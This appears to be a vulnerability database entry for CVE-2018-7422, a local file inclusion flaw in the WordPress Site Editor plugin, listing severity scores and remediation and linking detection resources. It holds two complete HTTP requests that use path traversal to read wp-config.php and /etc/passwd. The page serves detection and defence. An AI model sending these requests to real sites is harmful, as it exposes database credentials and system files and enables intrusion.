🔙 목록으로 돌아가기

CVE-2018-7422: WordPress Site Editor <=1.1.1 - Local File Inclusion

TitleWordPress Site Editor <=1.1.1 - Local File Inclusion
AuthorLuskaBol,0x240x23elu
SeverityHigh
ImpactAn attacker can exploit this vulnerability to gain unauthorized access to sensitive files, potentially leading to further compromise of the system.
RemediationUpdate WordPress Site Editor plugin to the latest version to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.89256
CVE IDCVE-2018-7422
CWE IDCWE-22
Tags cve2018 cve wordpress wp-plugin lfi edb seclists siteeditor vkev vuln

🔍 Vulnerability Description

WordPress Site Editor through 1.1.1 allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php.

🌐 HTTP Request

GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=../../../../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7422.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7422.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A